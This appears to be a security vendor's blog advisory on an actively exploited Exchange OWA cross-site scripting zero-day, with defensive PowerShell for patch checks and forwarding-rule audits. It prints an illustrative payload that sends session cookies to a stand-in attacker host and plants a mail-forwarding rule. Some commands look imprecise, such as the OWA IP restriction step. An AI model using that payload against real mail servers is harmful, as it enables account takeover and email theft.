Exchange Server Zero-Day: Patch Now Before Hackers Strike

Exchange Server zero-day actively exploited in the wild. If your organisation runs Microsoft Exchange — on-premise, hybrid, or with OWA exposed to the internet — stop here, apply Microsoft's June 2026 Patch Tuesday update, then come back. Done? Good. Because what Microsoft just patched wasn't a theoretical risk. Threat actors were already inside unpatched Exchange environments before the fix dropped. Here's what happened, why Indian businesses are particularly exposed, and the exact steps to protect yourself today.

Microsoft confirmed an actively exploited Cross-Site Scripting (XSS) vulnerability in Exchange Server that lets attackers inject and execute arbitrary JavaScript inside victims' browsers through Outlook Web Access (OWA). This was a true zero-day: in-the-wild exploitation confirmed before any patch existed. The June 2026 Patch Tuesday update closes the gap — but only for organisations that apply it promptly.

What Happened

On June 10, 2026, Microsoft released a critical security update addressing an actively exploited zero-day in Exchange Server. The vulnerability targets Outlook Web Access, the browser-based email portal that enterprises expose to the internet so employees can check email from anywhere. Through a carefully crafted HTTP request or malicious email, an attacker can inject JavaScript code that executes inside the victim's authenticated browser session — with full access to everything that logged-in user can see and do.

This attack class — a reflected or stored XSS (Cross-Site Scripting) vulnerability — is deceptively simple but devastatingly effective. The payload rides inside what looks like a legitimate OWA interaction. Once it executes in the browser, the injected script can steal session cookies, capture keystrokes, redirect users to credential-harvesting pages, or silently exfiltrate entire email threads — all without the victim clicking anything suspicious or receiving any security alert.

What makes this especially serious is the "actively exploited" label. Microsoft confirmed threat actors were abusing this flaw before the patch existed. That means organisations running Exchange didn't just have a theoretical vulnerability — they were already being targeted with a working exploit and zero vendor-provided defence. Security teams watching their Exchange logs in the days before June 10 may already be looking at evidence of compromise they haven't yet found.

Why This Exchange Server Zero-Day Matters for Indian Businesses

India's enterprise email landscape is deeply Exchange-dependent. Banks, NBFCs, manufacturing firms, logistics companies, pharmaceutical exporters, and government-adjacent PSUs have invested years in Exchange infrastructure. Many Indian SMBs run hybrid deployments — on-premise Exchange combined with Microsoft 365 — which means OWA remains in play and internet-exposed.

The Digital Personal Data Protection (DPDP) Act, 2023 raises the stakes considerably. If this XSS vulnerability is exploited to access personal data stored in email — customer correspondence, employee records, financial statements, health information — the organisation is staring at a reportable data breach. The CERT-In 6-hour mandatory incident reporting rule applies the moment you become aware of a compromise. Not 6 business hours. Six clock hours, any day of the week, including Sunday morning.

For organisations under RBI's cybersecurity framework — banks, payment aggregators, NBFCs — the bar is even higher. RBI guidelines require near-real-time patching of critical vulnerabilities and mandatory breach notification to the regulator. An unpatched Exchange server with OWA exposed isn't just technical debt — it's an active regulatory liability that can trigger audit findings, remediation orders, and penalties.

As someone who has reviewed hundreds of Indian SMB security postures over the last two years at Bachao.AI, the most consistent finding isn't exotic malware or sophisticated nation-state techniques — it's unpatched Exchange servers with OWA directly exposed to the internet, often without MFA. This vulnerability is precisely the kind of flaw that turns a company from "potential target" into "confirmed breach" overnight.

Technical Breakdown of the Exchange Server Zero-Day

The vulnerability is an XSS flaw in OWA where Exchange fails to sanitise user-controlled input before rendering it in the browser. Here's the complete attack chain:

Phase 1 — Payload Delivery: The attacker sends a crafted request to the OWA endpoint (https://mail.company.com/owa/) or embeds the payload in an email that OWA renders. The malicious JavaScript hides inside a parameter Exchange doesn't sanitise before rendering in the browser.

Phase 2 — Client-Side Execution: When the victim opens OWA, the injected script runs in the context of their authenticated session. No additional interaction is required — simply loading OWA triggers it.

Phase 3 — Session Hijacking: The script extracts the session cookie or authentication token and exfiltrates it to an attacker-controlled server. With this token, the attacker impersonates the victim completely.

Phase 4 — Forwarding Rule Persistence: This is the step that organisations miss after patching. Attackers use Exchange Web Services (EWS) to plant a silent forwarding rule — every email received is quietly copied to an external address. This rule survives patching, password resets, and even MFA enrollment because it lives server-side.

Phase 5 — Business Email Compromise (BEC): With persistent mailbox access, attackers monitor correspondence and wait for high-value transactions — wire transfers, vendor payments, invoice approvals — then impersonate executives or vendors to redirect funds. BEC losses reported in India crossed significant figures in 2024-25; the unreported number is likely a multiple of that.

What the Exploit Looks Like

A simplified illustration of what an OWA-targeting XSS payload achieves (educational — real payloads are heavily obfuscated):

// Simplified XSS payload concept — injected into vulnerable OWA parameter
// Real exploits are obfuscated and polymorphic

// Step 1: Steal session cookie
var stolen = document.cookie;
new Image().src =
  'https://attacker.example.com/collect?d=' + btoa(stolen);

// Step 2: Plant forwarding rule via Exchange Web Services
// (runs with victim's credentials — no extra auth needed)
fetch('/ews/exchange.asmx', {
  method: 'POST',
  headers: { 'Content-Type': 'text/xml; charset=utf-8' },
  credentials: 'include',   // victim's session cookie attached automatically
  body: `<?xml version="1.0"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
        <CreateRule xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
          <!-- Forward all incoming mail to attacker -->
          <MailboxSmtpAddress>victim@company.com</MailboxSmtpAddress>
          <ForwardToRecipients>attacker@external.com</ForwardToRecipients>
        </CreateRule>
      </soap:Body>
    </soap:Envelope>`
});

How to Protect Your Business

1. Patch Immediately

Apply Microsoft's June 2026 Patch Tuesday Cumulative Update to all Exchange servers. Exchange Online users are automatically protected — the risk is entirely on-premise and hybrid.

# Verify current Exchange Server build version (run on Exchange server)
Get-Command ExSetup | ForEach-Object { $_.FileVersionInfo }

# Check Exchange version and confirm CU level
Get-ExchangeDiagnosticInfo -Server $env:COMPUTERNAME `
  -Process EdgeTransport `
  -Component MailboxTransport | Select-Object -ExpandProperty Result

# After patching, confirm the updated build number
# Exchange 2019 June 2026 CU: build 15.2.1748.x or later
# Exchange 2016 June 2026 CU: build 15.1.2507.x or later

2. Audit All Mailboxes for Planted Forwarding Rules

This step is critical even if you patch immediately — it detects attacker persistence from prior exploitation:

# Find all inbox rules with forwarding/redirect actions (run as Exchange Admin)
Get-Mailbox -ResultSize Unlimited |
  Get-InboxRule |
  Where-Object {
    $_.ForwardTo          -ne $null -or
    $_.RedirectTo         -ne $null -or
    $_.ForwardAsAttachmentTo -ne $null
  } |
  Select-Object MailboxOwnerID, Name, ForwardTo, RedirectTo |
  Export-Csv -Path "C:\Audit_ForwardingRules.csv" -NoTypeInformation

# Also check mailbox-level forwarding addresses (admin-configured or attacker-set)
Get-Mailbox -ResultSize Unlimited |
  Where-Object {
    $_.ForwardingAddress    -ne $null -or
    $_.ForwardingSmtpAddress -ne $null
  } |
  Select-Object DisplayName, PrimarySmtpAddress, ForwardingSmtpAddress |
  Export-Csv -Path "C:\Audit_MailboxForwarding.csv" -NoTypeInformation

# Review the CSVs — any external forwarding addresses you don't recognise are IOCs

3. Restrict OWA to Known IP Ranges

If your users only access OWA from offices or VPN, restrict access at the firewall or Exchange itself:

# Restrict OWA access to specific IP ranges directly in Exchange
# (Exchange 2016/2019 — run on Exchange server)
Set-OwaVirtualDirectory -Identity "OWA (Default Web Site)" `
  -InternalUrl $null   # Disable internal URL if using split-DNS

# Better: enforce at WAF/firewall level
# Allow only office IP + VPN range to reach port 443 on Exchange
# Block all other sources at perimeter

4. Enable MFA on OWA Immediately

MFA won't stop an XSS session hijack on an already-authenticated session, but it prevents the initial compromise from stolen credentials and drastically raises the attacker's cost:

# Enable Modern Authentication on Exchange (prerequisite for MFA)
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true

# Then enforce MFA via Azure AD Conditional Access (for hybrid/365 environments)
# or via ADFS claims rules for pure on-premise

Protection Layers at a Glance

By the Numbers

Exchange has been one of the most targeted enterprise software packages globally for half a decade. ProxyLogon and ProxyShell (2021) compromised tens of thousands of servers worldwide within days of disclosure. ProxyNotShell (2022) followed the same pattern. This June 2026 XSS zero-day continues the trend: OWA-facing, browser-exploitable, and actively leveraged before defenders had a patch.

In my years building enterprise systems for Fortune 500 organisations, I watched email servers become the true crown jewel of enterprise infrastructure — not databases, not file shares. Once an attacker controls Exchange, they control organisational communications. They know who's approving the next payment run, which vendor contract is closing, which M&A discussion is happening. That intelligence makes every subsequent attack more targeted, more convincing, and more costly.

The downward CVE trend reflects Microsoft's investments in Exchange's secure development lifecycle. But each remaining vulnerability is higher-impact precisely because organisations grow complacent — they assume Exchange is "getting safer" and relax patching discipline. Zero-days like this one exploit exactly that complacency.

How Bachao.AI Detects This

Start with a free VAPT scan — it takes under 5 minutes and immediately shows whether your Exchange server is internet-exposed with known vulnerabilities. No signup required. For more cybersecurity guidance built for Indian businesses, visit the Bachao.AI blog.

Originally reported by BleepingComputer.

Written by Shouvik Mukherjee, Founder of Bachao.AI. Follow me on LinkedIn for daily cybersecurity insights for Indian businesses.

Written by Shouvik Mukherjee, Founder & CEO of Bachao.AI. Follow me on LinkedIn for daily cybersecurity insights for Indian businesses.